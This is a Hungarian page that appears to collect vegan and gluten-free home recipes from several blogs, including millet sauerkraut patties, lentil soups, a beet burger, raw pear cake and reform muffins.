Nagyon szeretem a savanykás ízeket és a savanyú káposztát is, így mindenképpen be szerettem volna tenni egy vega fasírtba. Pár hete megcsináltam ezt a receptet, de akkor csak összekutyultam és nem mértem le semmit. Múlt hétvégén újra nekiálltam, mindent kimértem pontosan, így most hozom nektek a receptet… kár lenne kihagyni. Egyszerű ízek kombinációja, de nagyon finom. Ehetjük magában, valamilyen mártogatóssal kiegészítve (először egy paradicsomos mártogatóst csináltam hozzá, második alkalommal pedig egy tahinis, citromos joghurtosat – mindkettővel jó párost alkotott). Ha valamilyen zöld köretet vagy salátát is tálalunk mellé, kiváló és könnyű, de laktató ebédünk, vacsoránk lesz.
Vegán savanyú káposztás köles fasírt
Hozzávalók 18-20 db-hoz:
– 300 g köles
– 150 g savanyú káposzta, felaprítva
– 1 közepes fej vöröshagyma, felaprítva
– 2 evőkanál chia mag vagy lenmag
– 6 evőkanál víz
– 2 teáskanál friss aprított petrezselyem (vagy 1 teáskanál szárított)
– 3 teáskanál só
– frissen őrölt bors
– kókuszzsír vagy olívaolaj a sütéshez
A kölest mossuk át tiszta vízzel, majd öntsük egy lábasba. A 300 g mennyiség kb. 1,5 bögrényinek felel meg, tehát 3 bögrényi (250 ml-es bögrét használjunk) vízzel öntsük fel a kölest és közepes lángon főzzük puhára. Tegyük félre kihűlni.
Egy kis tálkában keverjük össze a chia magot a vízzel és hagyjuk állni 6-8 percig, amíg kocsonyás állagú lesz.
Egy nagy tálban keverjük össze a kihűlt kölest az összes többi hozzávalóval és a vizes chia maggal. Gyúrjuk össze és ízesítsük ízlésünk szerint még több sóval vagy borssal. Tegyük a hűtőbe 15-20, hogy a fasírt “tésztája” jól összeálljon (ezen idő alatt összedobhatunk egy mártogatóst).
Teniszlabda nagyságú golyókat formázzunk belőle, tenyerünkkel lapítsuk le és egy kevés kókuszzsírban vagy olívaolajban süssük ki a fasírtokat teflon serpenyőben közepes láng felett.
Datolyás zabkeksz - cukor nélkül
2015. február 3. Mindennapi ételeink
Gyors, egyszerű, finom. Ráadásul szombat este kaptunk egy nagyon kedves vendégünktől és mivel ízlett, ezért gyorsan elkértem a receptet és elkészítettem én is. A fotókon az ajándék kekszek láthatók. :-) Hozzávalók: 10 dkg kókuszzsír 25 dkg zabpehely 12 dkg mazsola 13 dkg datolya -- xilites karobos mogyorókrém rizs habspray Elkészítés: A datolyákat és a mazsolát beáztatjuk, majd a datolyát feldaraboljuk. A kókuszzsírt megolvasztjuk, ebbe keverjük a zabpelyhet, hozzáadjuk az aszalványokat, majd összekeverjük, gombócokat formálunk, és sütőpapírral bélelt sütőbe téve összelapítjuk. 180 fokos sütőben 20-25 perc alatt készül el.
"10-es pizza" - búzaliszt nélkül
2015. február 2. Mindennapi ételeink
Nem volt kedvünk ismét tésztás pizzát enni, ezért készült ez a búzaliszt-mentes változat. Azért 10-es, mert szinte mindenből 10 dkg szükséges hozzá. Hozzávalók - 1 pizzához: 10 dkg kölesliszt 10 dkg barna rizs liszt 10 dkg zabpehelyliszt 10 dkg kókuszzsír 10 dkg szezámmag, lenmag - vegyesen víz - amennyit felvesz himalaya só -- 1 üveg pizzaszósz 10 dkg kidney bab 10 dkg kukorica 1 fej lilahagyma 1 paradicsom 1/2 fej brokkoli 10 dkg Violife növényi sajt bazsalikom Elkészítés: A liszteket összekevrjük, hozzáadjuk a sót, a megdarált lenmag-és szezámmagot, a megolvasztott kókuszolajat és annyit vizet öntünk hozzá, hogy össze tudjuk gyúrni. Egy olajjal megkent, zabpehelyliszttel megszórt tepsibe simítjuk. Rákenjük a szószt, rászórjuk a babot, kukoricát, felkarikázott hagymát, a nyers brokkolit, a paradicsomot és a reszelt növényi sajtot. 200 fokon kb. 20 perc alatt összesütjük.
Karobos chia puding
2015. január 30. Gréta konyhája
25 napja nem ettem semmilyen cukrot, gyümölcsön kívül. Ez nem azt jelenti, hogy le kellene mondanunk az édes nyalánkságokról, sőt! Ilyenkor lódul meg az ember fantáziája, mert a semmiből valamit csinálni, na az, már művészet. :)) Mivel ma sokat dolgoztam, és keményen edzettem is, úgy éreztem megérdemli a gyomorom is a kényeztetést. Ezért két ek chia magot beáztattam 3 ek kókusztejbe, vártam pár percet, míg nyákossá válik, majd egy aprító mixerbe tettem 1 nagy érett banánt, hozzáadtam a nyákos chia magot, és 2 ek karob port. Egy perc alatt összeturmixoltam, és egy másodperc alatt, már kanalaztam is a mennyei csokikrémet. Tökéletes nassolni való! Ismered a chia magot? Nem? Akkor itt az ideje! Itt minden infót megtalálsz róla: http://chia-mag.hu/
Körtés-mandulás pite gránátalmával
2015. január 30. Éltető ételek
Egy újabb tettet követtem el tegnap a konyhában, a gyerekeim díjazták. Suli után a nagylányom rögtön bevágott 2 szeletet. Mivel ők a tesztalanyok, így mindig kérdezem tőlük, hogy "hogy ízlik, hányast adnátok rá?". Erre Eszter azt válaszolta, hogy "anya, ha nem ízlene, ennék belőle két szeletet?" Igaza van, úgyhogy ez a recept megérdemli, hogy felkerüljön a blogra. Hozzávalók: - 25 dkg teljes kiőrlésű tönkölyliszt - 15 dkg hideg bio vaj vagy kókuszzsír - 3 dkg kókuszvirágcukor - 2-3 evőkanál hideg víz - csipet só Töltelék: - 60 dkg körte - 1 kávéskanál ceyloni fahéj - késhegynyi vaníliapor - 1-2 evőkanál juharszirup vagy kókuszvirágcukor - 1 marék mandula - 1/2 gránátalma - kevéske citromlé Tetejére: házi, cukrozatlan baracklekvár Elkészítése: - A tészta hozzávalóiból gyúrjunk egy homogép masszát. Csomagoljuk be fóliába, és tegyük be a hűtőbe minimum 1 órára. - A töltelékhez a körtét mossuk meg, vágjuk ki belőle a magházat, majd daraboljuk fel kis kockákra. - Adjuk hozzá a fahéjat és a vaníliát, édesítsük, majd keverjük hozzá a mandulát és a gránátalmát is. - Egy piteforma aljába nyújtsuk bele a tészta felét, majd tegyük rá a tölteléket. - Ezt vonjuk be a maradék kinyújtott tésztával. A közepére vágtam egy kis kerek lyukat, hogy a sütés során a gőz távozni tudjon. - Tegyük be az előmelegített sütőbe, és süssük 180 fokon úgy 45 percig. - Amikor kivettük a sütőből, kenjük meg a tetejét a baracklekvárral. - Hagyjuk kihűlni.
Kókuszos kölessüti házi szilvalekvárral
2015. január 26. Éltető ételek
Ez egy roppant egyszerű, univerzális sütemény. Az alap a köles... ehhez bármit tehetsz, amit csak szeretsz. Bármilyen aszalványt, olajos magot, friss gyümölcsöt vagy éppen lekvárt. Hozzávalók: - 1 csésze köles - 3 csésze növényi tej (én risztejjel készítettem) - 1/2 csésze kókuszreszelék - 1 marék dió - 1 marék mazsola - 1 kávéskanál vaníliapor - 1-2 evőkanál méz vagy juharszirup (ízlés szerint, bár a risztej is édes) - 1 evőkanál kókuszolaj - csipet só - csipet vaníliapor Elkészítése: - Jénaiba mindent beleöntök, és 180 fokon úgy 45 perc alatt megsül. - Félidőben keverjük fel a masszát, hogy a kókusz összekeveredjen a kölessel. Ugyanis az a sülés során feljön a víz tetejére, és sülés alatt ott is marad, A házi szilvalekvárt ekkor lehet belepotyogtatni, hogy az egyben maradjon. - Miután kisült, várjunk vele 1-2 órát, hogy teljesen kihűljön. Akkor szépen szeletelhető.
Vöröslencsés céklaburger
Kalapos gyorshajtó, észak-koreai diszkódrog, virtuóz vuvuzelás, egészséges junkfood. Na, ez utóbbi korántsem paradoxon. Akkor sem, ha Hombárovics Lajosné hülyén néz a lakókocsiból, ha a balatonakarattyai strandon vöröslencsés céklaburger után érdeklődünk. A következő étellel azon vegánoknak sem feltétlenül lehetnek fenntartásai, akik a biobolton kívül levegőt sem hajlandóak venni.
Kérném előkészíteni az alábbiakat:
130 g vöröslencse 1/2 fej vöröshagyma 2 gerezd fokhagyma 1 db meghámozott, felkockázott célka 1 evőkanál szójaszósz 1 marék petrezselyem apróra nyiszatolva 1/2 kiskanál chili 1/2 kiskanál édes fűszerpaprika 3 evőkanál kókusztej (akár el is hagyható) 100 g teljes kiőrlésű liszt só, bors Hovatovább: 6-7 db császárzsemle néhány salátalevél pár szelet paradicsom hómméd paradicsommártás (pl. felkockázott hagymához és összezúzott fokhagymához párolás után hozzáadunk 2 dl sűrített paradicsomot, kevés chilit és egy kiskanál oregánót, bazsalikomot és sót) A vöröslencséhez hozzáadunk 1l forró vizet, majd kis lángon kb. 12 percig főzzük tapasztaltan, türelmesen. Ha kész, leszűrjük, majd a vöröshagyma és a cékla társaságában összeturmixoljuk, majd egy tálba kiöntve mély szakértelemmel félretesszük. Egy másik, kisebb méretű tálba beleöntjük a szójaszószt, a fűszerpaprikát, a chilit, belenyomjuk a fokhagymát, sózzuk, borsozzuk, majd hozzálötyböljük a vöröslencsés-céklás masszához. Jól összekeverjük, majd hozzáadjuk a kókusztejet és a lisztet. Ha túl totymákosnak találjuk a formázáshoz, további lisztet keverünk bele. Nem lacafacázunk, megsózzuk, borsozzuk. A céklás elegyből pogácsákat formázunk, majd kevés olívaolajban mindkét oldalán kisütjük. Legvégül a felvágott császárzsemlék közé helyezzük a saláta, a paradicsom és a szósz társaságában.
Nyers körtetorta, mert a süti az élet szerves része
2015. január 23. Szelíd életmódváltók
Bizony, a süti is az élet része, még pedig az édes és krémes része, kár lenne kihagyni. Bár a sütikhez gyakran odatapad a bűn mellékíze, itt az ideje levetni. Sütit enni cseppet se bűnös dolog. Sőt. Nagyon egészséges testileg-lelkileg. Persze, nem mindegy, milyen süti és mi van benne, de ami a körtetörtát illeti, bármikor feldobja a hangulatot.
A mennyiségek 16 cm átmérőjű torta formára vonatkoznak, ami egy kis méretű torta. Normális méretűhöz érdemes duplázni a mennyiséget.
Hozzávalók
Torta alap:
2 maréknyi darált dió (előtte áztatott, kiszárított)
1 maréknyi nyers hántolt kendermag
1 ek datolyavíz
Krém:
1 maréknyi datolya (1 éjszakán át áztatva, áztató vízre is szükség lesz)
2 körte
2 kanál kókuszkrém (konzerves)
1 púpos kanál olvasztott (meleg vízfürdőben) kókuszolaj
csipetnyi fahéj
Elkészítés: a darált diót összekeverjük a kendermaggal, és egy kanálnyi datolya vízzel “formálhatóvá” és egyben édesebbé is tesszük. Ezt a masszát nyomkodjuk bele a csatos torta formába.
A datolyát az áztató vízzel együtt, a meghámozott, összevágott körtét, a kókuszkrémet és a fahéjat turmixoljuk össze, majd keverjük bele az olvasztott kókuszolajat. A masszát öntsük rá a torta alapra és tegyük be min. pár órára, de jobb, ha éjszakára, a hűtőbe.
Figyelmeztetés: ennyi kókuszolajból a krém krémes marad, nem folyik szét, de nem megdermedve, mint a “mintasütikben”. Ha valaki nagyon profi kinézésű és állagú sütit akar, több kókuszolaj kell bele. De ettől zsírosabb lesz, úgyhogy maradtam a krémes verziónál. Aki nagyon lájtosat szeretne, kókuszolaj helyett lehet púpos evőkanálnyi utifű maghéjat rakjon bele.
Én elmentem megenni még egy szelettel, mert megérdemlem
Szeretettel és akcentussal,
Rita Bakradze
komfortzóna tágító, coach, önismereti és kreativitásfejlesztési tréner
www.vegtelenlehetoseg.hu
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = //connect.facebook.net/hu_HU/all.js#xfbml=1;
fjs.parentNode.insertBefore(js, fjs);
}(document, script, facebook-jssdk));
Caprese – Padlizsán szendvics
Ideális önmagában, salátával, vagy feltétként valamelyik kedvenc köretünkkel. A padlizsán laktató zöldség, nagyszerű fogások készíthetőek belőle. Nekem az egyik nagy kedvencem a bundázott padlizsán, vagy hagyományos nevén a rántott padlizsán. Ezt a receptet kicsit továbbgondoltam és egy tál saláta mellé készítettem.
Hozzávalók: 4 fő részére
1-2 db padlizsán
1 db nagyobb paradicsom
4 szelet olvadós növényi sajt ( Violafe mozarellás)
kókusz olaj a sütéshez
őrölt fekete bors
himalaya só
tönköly morzsa, élesztőmentes
4 evőkanál sárgaborsó liszt
víz
A padlizsánt 0,7 cm-es vastagságú karikákra vágjuk és mindkét oldalukat sózzuk, borsózzuk. A sárgaborsó lisztet összekeverjük annyi vízzel, hogy palacsinta tészta sűrűségű masszát kapjunk. A padlizsánokat sárgaborsó lisztbe forgatjuk, majd a masszába és legvégén a morzsába hempergetjük. Forró kokuszolajon mindkét oldalukat aranybarnára sütjük. Ahogy kisültek a korongok, kettő korong közé egy szelet sajtot és egy szelet paradicsomot teszünk, megszórjuk szárított bazsalikommal. Tálalhatjuk is!
Családváró falatkák
Jön ma az én kistestvérem, nem is egyedül, hanem a kis családjával együtt! Hatalmas boldogság ? ? ? Remélem, a jövőben gyakrabban tudunk találkozni!!! Hozzávalók: 5 banán 5 mandarin 2 ek kakaópor (Nem zsírszegény!!!) 2 teáskanál fahéj 3 evőkanál puffasztott amaránt (összekeverjük) 1 kanál bio kókuszreszelék A banánt felkarikázzuk,vízbe mártjuk, majd irány a kakaófürdő ;) […]
Currys vöröslencse leves savanyú káposztával
2015. január 15. Éltető ételek
Nos, aki mostanában követi a blogomat, nem csodálkozik, hogy újabb vöröslencse és újabb savanyú káposzta receptet hozok. Egyszerűen imádom ezeket, és a sokoldalú felhasználásukat is. A savanyúkáposzta jótékony hatásairól már írtam, érdemes minél gyakrabban beiktatni az étrendünkbe. Hozzávalók: 1 kisebb vöröshagyma2-3 gerezd fokhagyma1 teáskanál kókuszolaj1 közepes batáta (édesburgonya)6-8 db koktélparadicsom (nekem volt a fagyasztóba betéve, házi, sűrű paradicsomlé is jó)őrölt kömény, só, bors, chili1-2 késhegynyi curry por2 marék vöröslencse1 marék savanyú káposzta Elkészítése: A hagymát vágjuk apró kockára, és a kókuszolajon dinszteljük meg.Reszeljük hozzá a fokhagymát is.Dobjuk rá a kis kockára vágott batátát és az átmosott lencsét és a felkockázott paradicsomot. Pár percig pirítsuk együtt.Öntsük fel vízzel és fűszerezzük.Kb. 15 perc alatt megfő a lencse. Ne legyen püré!A végén adjuk hozzá a savanyú káposztát. Ha nincs, akkor egy kevéske, friss citrom leve is jó.
Brokkolis-karfiolos rakottas
2015. január 12. Éltető ételek
Anyósomtól sok rakottas ételt tanultam, de mindegyik húsos fogás. Nos, én egyszerűen kihagytam a húst, készítettem egy pörköltes, lecsós alapot, és el is készült az isteni finom rakottas. Elkészíthető más zöldséggel is, mint pl. a zöldbab vagy akár a kelkáposzta. Ja, és akár külön-külön is, tehát lehet csak karfiolos vagy csak brokkolis is. Hozzávalók: (2-3 adag) - 30 dkg karfiol - 30 dkg brokkoli - 10 dkg köles - lecsóhoz: hagyma, paprika, paradicsom, fokhagyma (vagy még nyáron eltett lecsó) - 2 tejföl - 2-3 gerezd fokhagyma - chili, só - kókuszolaj - kis marék natúr kukoricapehely Elkészítése: A rózsáira szedett karfiolt és a brokkolit főzzük elő. Forrástól számítva 3-5 perc elég neki, még roppanós maradjon!Közben készítsük el a lecsó alapot. Kevés kókuszolajon dinszteljünk meg 1 vöröshagymát, majd adjuk hozzá a paprikát, egy kicsit később a paradicsomot (vagy levet). De mint írtam, házi, üveges lecsó is jó.Egy másik edénybe főzzük meg a kölest 2x mennyiségű vízben. Ehhez adjunk 1 kk. sót is.Amikor jól összesült a lecsó, akkor krumplinyomóval törjük össze, hogy a nagyobb darabokban lévő paprika kisebb legyen. Majd ezt keverjük a köleshez. Ekkor még szoktam egy kevés chilit is beletenni, és még só is bizonyára kell. De kóstold meg!Egy 20x30 cm-es jénai aljára tegyük a karfiol darabkákat, majd terítsük rá a lecsós kölest. Erre jönnek a brokkolik.A tetejére a tejfölbe reszeljünk 2 gerezd fokhagymát, tegyünk bele 1-2 csipet sót is. Csorgassuk a brokkoli tetejére.Végezetül szórjuk rá az összetört kukoricapelyhet.Tegyünk a tetejére egy kevéske kókuszolajat, és előmelegített sütőbe úgy 180 fokon süssük össze. Ez kb. 30 perc.
Paradicsomos vöröslencse leves
A vöröslencse nagy kedvencem. Nem kell áztatni, gyorsan megfő, és még finom is. Sokféle leves készíthető belőle, más-más ízesítéssel. Nagy kedvencem a savanyú káposztás korhely leves, mely ilyenkor télen gyakran az asztalra kerül. Hozzávalók (3-4 adag): - 2 közepes méretű sárgarépa kis kockára vágva - 1 kis zeller szintén kockázva (szárzellerrel is finom) - 15 dkg vöröslencse - 1 vöröshagyma - 3 gerezd fokhagyma - 2 dl házi paradicsomlé - só, bors, kakukkfű, babérlevél, chili - kevéske kókuszolaj Elkészítése: - Egy lábasban kókuszolajon pirítsuk meg a vöröshagymát és a fokhagymát. - Adjuk hozzá a répát és a zellert. - Dinszteljük együtt néhány percig, majd öntsük rá a paradicsomot. Fűszerezzük. - Öntsük még hozzá 3-4 dl vizet és főzzük úgy 10 percig. - Adjuk hozzá a lencsét, forraljuk fel és főzzük addig, amíg a lencse is megfő.
Padlizsános csicseriborsó ragu fűszeres rizzsel
Újabb egyszerű ebédet készítettem. Csicseriborsót én előre beáztatom, majd beteszem a fagyasztóba. Így bármikor, "hirtelen felindulásból" is készíthetek csicseriborsót, hiszen nem kell várni egy éjszakát az áztatással. A fűszeres rizs más étel körete is lehet, vacsorára például párolt lilakáposztát ettem hozzá. Jó sok csípős fűszer van benne, így téli napokon kifejezetten jót tesz a melegítő hatása. Hozzávalók (2 főre): - 20 dkg áztatott csicseriborsó - babérlevél - 1/2 padlizsán kis kockára vágva - fél üveg házi sűrű paradicsomlé - 1 vöröshagyma - 3 gerezd fokhagyma - 1 evőkanál zabliszt - 1/2 kávéskanál gyömbér - 1-2 késhegynyi chili - friss bazsalikomlevél - só Fűszeres rizs: - 15 dkg barnarizs - 1 csésze apró kockára vágott sárgarépa - 1 nagyobb újhagyma - 1-2 gerezd fokhagyma - gyömbér, chili - só, bors, kurkuma - kisebb kápia paprika - kókuszolaj Elkészítése: Először is a csicseriborsót tegyük fel főni 1-2 babérlevéllel. Még NE tegyél bele sót. Mikor már majdnem megfőtt (úgy 40 perc), akkor teszek hozzá sót.A raguhoz pirítsuk meg a vékony karikára vágott hagymát, és reszeljük bele a fokhagymát is.Szórjuk bele a fűszereket, majd dobjuk rá a kockára vágott padlizsánt.Pirítsuk néhány percig, majd adjuk hozzá a csicseriborsót egy kevés főzővízzel, és öntsük rá a paradicsomlevet. Főzzük úgy 10 percig.Szórjuk bele a zablisztet, ettől kellemesen sűrű lesz a ragu.Főzzük össze, majd a végén adjuk hozzá a friss bazsalikomlevelet. - A rizs elkészítéséhez először is megpirítjuk a hagymát, szintén hozzáreszeljük a fokhagymát is. - Adjuk hozzá a fűszereket és az átmosott rizst. - Pár percig pirítsuk össze. - Öntsük fel dupla annyi vízzel (A rizst öntsük bele egy pohárba, ez lesz a mérce. Ehhez képest kell dupla annyi víz). - Főzzük úgy 30 percig, majd dobjuk rá a répát. - Főzzük készre (még min. 30 perc). - A végén keverjük hozzá az apró kockára vágott kápia paprikát. - Főzés közben NE kevergesd a rizst!!Valami zöld szín jól jött volna még a rizshez. Legközelebb fogok egy kis apróra vágott, nyers brokkolit beleszórni.
Gyömbéres zellerkrémleves
Igazi téli, melengető leves. A zellernek nagyon jó tisztító hatása van, a gyömbér és a chili pedig kellően felmelegíti fázós testemet ebben a hidegben. Gyors, egyszerű és finom. Kell ennél több? Hozzávalók (2 fő): - 1 öklömnyi méretű zeller - 1 kis vöröshagyma - 2 kisebb burgonya - 1 kicsi sárgarépa - 1-2 késhegynyi gyömbér (kóstolgasd!) - chili, só, kurkuma, őrölt kömény - 1 teáskanál kókuszolaj Elkészítése: A vöröshagymát kis kockára vágom és a kókuszolajon épp csak üvegesre párolom.Megszórom a gyömbérrel, köménnyel és a kurkumával. Mellédobom a kis kockára vágott zeller, krumplit és a sárgarépát.Pirítom együtt pár percig, majd felöntöm vízzel.Sózom, hozzáteszek egy kevéske chilit is.Puhára főzöm úgy 15 perc alatt, majd botmixerezem.Ha szeretnéd, kevés tejszínt löttyinthetsz hozzá.Friss fűszernövénnyel díszítem, pl. metélőhagyma, apróra vágott zellerlevél.Nagyon finom... Jó étvágyat.
Tuti fincsi gluténmentes muffin
Gyakran sütök muffint, mert gyorsan megvan (bár sokkal hamarabb el is fogy). Szóval ez nagy kedvenc, hiszen az alapanyagok önmagukban is szeretni valók. Sokáig ezt az alapreceptet használtam, de most sem joghurt, sem sangria nincs itthon, így ez lett belőle. Nos, ez tuti finom lett. Ime a recept: Száraz összetevők: - 8 dkg kókuszreszelék (lehetőleg ne legyen kén-dioxiddal kezelt) - 8 dkg rizsliszt - 2 dkg kukoricaliszt - 2 dkg kókuszliszt (ha nincs, akkor rizsliszt) - 1 tk. szódabikarbóna - 1 ek kakaópor - 1/2 mk. vaníliapor - csokireszelék - 1 marék aszalt meggy - csipet só Nedves összetevők: - 6 dkg olvasztott vaj - 2-3 evőkanál méz - 2 marék magozott meggybefőtt - 1 tojás helyett én 1 ek. őrölt lenmagot 2 ek. vízzel összekevertem, és kicsit állni hagytam - meggylé, kókusztej (annyi, hogy jó állaga legyen) összekeverni és sütni... Én többnyire 24 muffinformában szoktam sütni. Kb. 30-35 perc alatt 180C-on megsül. Hagyjuk kihűlni. Jó étvágyat!
Kedvenc muffinok reform változatban
Kezdjük a 2015-ös évet egy hagyományos és népszerű sütemény újraértelmezésével! :-) Ki ne szeretné a muffint ?! Ezeket a kis édes kosárkákat, különböző ízesítéssel, méretben, töltelékkel, melyek mára már szinte önálló iparággá, a muffin-iparrá nőtték ki magukat! :-D Pár évvel ezelőtt robbantak be a köztudatba, és azóta saját életre keltek. Külön sütő formáik, tálcáik vannak (szilikonos, teflonos stb.), a kedvükért egyéni papír kosárkákat gyártanak (a papír mintája is lehet változatos és trendi), vannak önálló kis muffin boltocskák, kávézók, ahol több száz féle töltelékkel, tésztával kóstolhatjuk meg ezt a sütemény remeket. Gyors, egyszerű, rendkívül változatos, könnyen tárolható, és szinte biztos, hogy minden vacsora vendégünk talál a kedvére valót. ;-) Természetesen nálunk is elég sűrűn elkészül, főleg, ha nagyobb társaságot látunk vendégül, vagy épp mi megyünk vendégségbe valahová, ahová nem illik üres kézzel érkezni. Mákos banános muffin Karácsonykor is előkerült a muffin sütőm, és mindjárt készítettem is 5 különböző íz élményű, természetes összetevőkből álló, könnyen emészthető, gluténmentes, reform muffin kosárkákat. A mindig nagy sikert arató Pina Colada muffin, egy kókuszos - ananászos trópusi íz világot tár elénk. A fahéjas-répás-almás muffin a téli hangulatot hozzá el nekünk könnyedén. És ha muffin, akkor természetesen nem maradhat el az örök nagy kedvenc, a nagyon csokis, dupla csokis muffin sem! ;-) Készült még egy narancsos - sütőtökös - diós, és egy mákos - banános változat egy-egy korábbi recept alapján. Ezek a sütemények már elkészültek kuglóf, és szelet formájában, most pedig muffin formákba töltöttem őket. A tészták hozzávalóit megtalálod itt: narancsos sütőtökös diós kuglóf és itt: mákos banános szelet. Muffin formákban elkészítve is gyorsan fogynak a tálcáról. :-) Narancsos sütőtökös diós muffin Nézzük, hogyan is készülnek ezek a mennyei szénhidrát bombák? Merthogy hiába természetes összetevőkből készül, és könnyebben emészthetőek, mint a boltban kapható fehér lisztes - fehér cukros barátaik, azért ezeknek a süteményeknek is van kalória értékük, és magas szénhidrát tartalmuk, úgyhogy csak óvatosan faljuk őket, ha vigyázni akarunk a súlyunkra! ;-) PINA COLADA MUFFIN Hozzávalók (kb.12 db-hoz): - 3 érett banán pépesítve - 50 g nádcukor vagy nyírfacukor - 1/2 tk szódabikarbóna - 80 g kókusz reszelék - 1 csipet Himalája só - 90 g mandula liszt (finomra őrölt mandula) - 90 g zabliszt, azaz finomra darált zabpehely (vagy rizsliszt, vagy kókuszliszt, ha a zab nem fér bele a GM diétánkba) - 1 bio tojás - 0,7 dl narancslé (frissen facsart) - 0,8 dl kókusz zsír (olvasztott, olaj formában) - (opcionálisan - 0,2 dl rum) - 200 g apróra vágott ananász (lehetőleg a friss gyümölcs, nem a cukros lében ázott konzerv) Pina Colada muffin Elkészítés: A sütőt előmelegítjük 200 °C - ra. A muffinformákat kibéleljük papírral (ha nem szilikonos a formánk), és megkenjük belülről a papír kosárkákat olvasztott kókuszzsírral, hogy könnyedén leváljon majd a megsült muffinról a papír. Egy tálban összekeverjük a szilárd (lisztek, só, cukor, kókusz reszelék, szódabikarbóna), egy másik tálban a folyékony (tojás, kókusz olaj, narancslé, rum, és a pépesített banánok) összetevőket. Majd a két tál tartalmát összeöntjük, és egyneműre keverjük egy fakanállal. Hozzáadjuk az apróra vágott ananászt. Belekanalazzuk az így kapott tésztát a kis papír kosárkákba, és mehet is be a sütőbe. 20-25 perc alatt készre sült, illatos, trópusi édességeket vehetünk ki a sütőből. Kicsit hagyjuk a formában hűlni őket, majd tegyük ki egy külön tálcára, mert szükségünk lesz a muffin sütőre a következő adag muffinhoz. DUPLA CSOKIS, NAGYON CSOKIS MUFFIN Hozzávalók (kb.12 db-hoz): reform muffinok - 200 g étcsokoládé (minél magasabb a kakaó tartalma, annál keserűbb, annál csokisabb. Én min.70%-osat használok) - 100 g jó minőségű, növényi margarin - 2 bio tojás - 75 g nád cukor vagy nyírfa cukor - 3 érett banán - fél narancs frissen facsart leve - 1/2 tk szódabikarbóna - 75 dkg zabliszt, azaz finomra darált zabpehely (vagy rizsliszt, vagy kókuszliszt, ha a zab nem fér bele a GM diétánkba) - 75 dkg mandula liszt Elkészítés: Előmelegítjük a sütőt 175°C-ra, és a szokásos módon kikenjük a muffin papírokat kókusz olajjal. A tésztához először megolvasztjuk a gőzön 100 g apróra tört étcsokit. és a kockára vágott margarint. Aztán amikor már lágy a csokis margarin, akkor levesszük a gőzről, hogy langyosra hűlhessen. A szokásos módon egy tálban összekeverjük a szilárd (lisztek, só, cukor, szódabikarbóna), egy másik tálban a folyékony (tojás, narancslé, és a pépesített banánok) összetevőket. Majd a két tál tartalmát összeöntjük, és egyneműre keverjük egy fakanállal. Hozzákeverjük a langyosra hűlt csokis margarint, és beletördeljük a másik 100 gramm étcsokit. Ezek az apró étcsoki darabkák aztán nagyon szépen meg fognak majd olvadni a meleg tésztában. Belekanalazom a tésztát a muffin papírokba, és az előmelegített sütőben kb.20-25 perc alatt készre sütöm a rendkívül csokis muffinokat. FAHÉJAS SÁRGARÉPÁS ALMÁS MUFFIN Hozzávalók (kb.18 db-hoz): - 1 dl növényi tej (mandulatej, rizstej, zabtej stb.) - 1 közepes alma - 75 g zabliszt, azaz finomra darált zabpehely (vagy rizsliszt, vagy kókuszliszt, ha a zab nem fér bele a GM diétánkba) - 25 g szőlőmagliszt - 75 g mandulaliszt - 2 tk fahéj - 1/2 tk őrölt szerecsendió - 1 késhegynyi őrölt szegfűszeg - 1/2 tk szódabikarbóna - 50 g nádcukor vagy nyírfacukor - 2 közepes sárgarépa lereszelve - 1 bio tojás - 0,7 dl kókusz zsír megolvasztva (olajként) - csipet himalája só - 1 marék durvára darált dió Fahéjas sárgarépás almás muffin Elkészítés: Az almát meghámozzuk, és apró kockákra vágjuk. Feltesszük a tűzhelyre saját levében, fedő alatt puhára párolódni. Előmelegítjük a sütőt 180°C-ra, és a szokásos módon kikenjük a muffin papírokat kókusz olajjal. A szokásos módon egy tálban összekeverjük a szilárd (lisztek, só, cukor, szódabikarbóna, fűszerek, darált dió), egy másik tálban a folyékony (tojás, kókusz zsír, tej, pépesített párolt alma) összetevőket. Majd a két tál tartalmát összeöntjük, hozzákeverjük az apróra reszelt sárgarépákat. és az egészet egyneműre keverjük egy fakanállal. Belekanalazom a tésztát a muffin papírokba, és az előmelegített sütőben kb.30-35 perc alatt készre sütöm a sárgarépás muffinokat. Mákos banános muffinMegjegyzés: ne várjuk, hogy ezek a muffinok óriásira nőnek a sütőben, mert a zabliszt és mandula liszt nem alkalmas látványos térfogat növekedésre. Természetesen ettől még nagyon finomak, és sokkal egészségesebbek, mint óriás társaik! ;-)
Zöldséges bableves savanyú káposztával
Egy kicsit időigényes ennek a levesnek az elkészítése, de megéri a fáradozást. A savanyúkáposzta meg kifejezetten jót tesz ennek a levesnek. Ha nem szereted, akkor pár csepp citromlé is különlegessé teszi. Jó sűrűre főzve akár egytálételként is megállja a helyét. Hozzávalók: - 1-1 marék tarkabab és piros chilis bab - 1 csésze vegyes zöldség (sárgarépa, petrezselyem, zeller) - kömény, chili, só, bors, babérlevél - paprika, paradicsom (télen 1-2 evőkanál lecsó) - vöröshagyma, fokhagyma - 1 evőkanál kókuszolaj - 1-2 evőkanál zabliszt - pirospaprika - 1 marék köles - 1-2 marék savanyúkáposzta Elkészítése: - A babot előző este áztassuk be.Öntsük le róla az áztatóvizet, majd friss vízzel tegyük fel főni. Tegyünk hozzá 2-3 db babérlevelet.Főzzük úgy 30-40 percig, majd adjuk hozzá a felszeletelt vegyes zöldséget. Fűszerezzük, sózzuk, adjuk hozzá a paprikát és a paradicsomot is.Készítsük el a rántást. A kókuszolajba dinszteljük meg az apróra vágott hagymát, reszeljük bele a fokhagymát is. Tegyük hozzá a zablisztet, süssük együtt egy kevés ideig. De ne égjen meg! Vegyük le a tűzről, és keverjünk hozzá 1 tk. pirospaprikát. - Ezt a rántást adjuk hozzá a leveshez. Főzzük még úgy 10 percig.Még belereszelhetünk 1-2 gerezd fokhagymát (én szeretem jó fokhagymásan), majd adjuk hozzá az átmosott kölest. De ekkor már legyen puha a bab és a zöldség is. A köles 10 perc alatt megfő.Vegyük le a tűzről, és adjuk hozzá a savanyú képosztát. Rottyantsuk össze, és kész is van. Persze a fűszerezést ellenőrizzük.
Mustármagos répasaláta
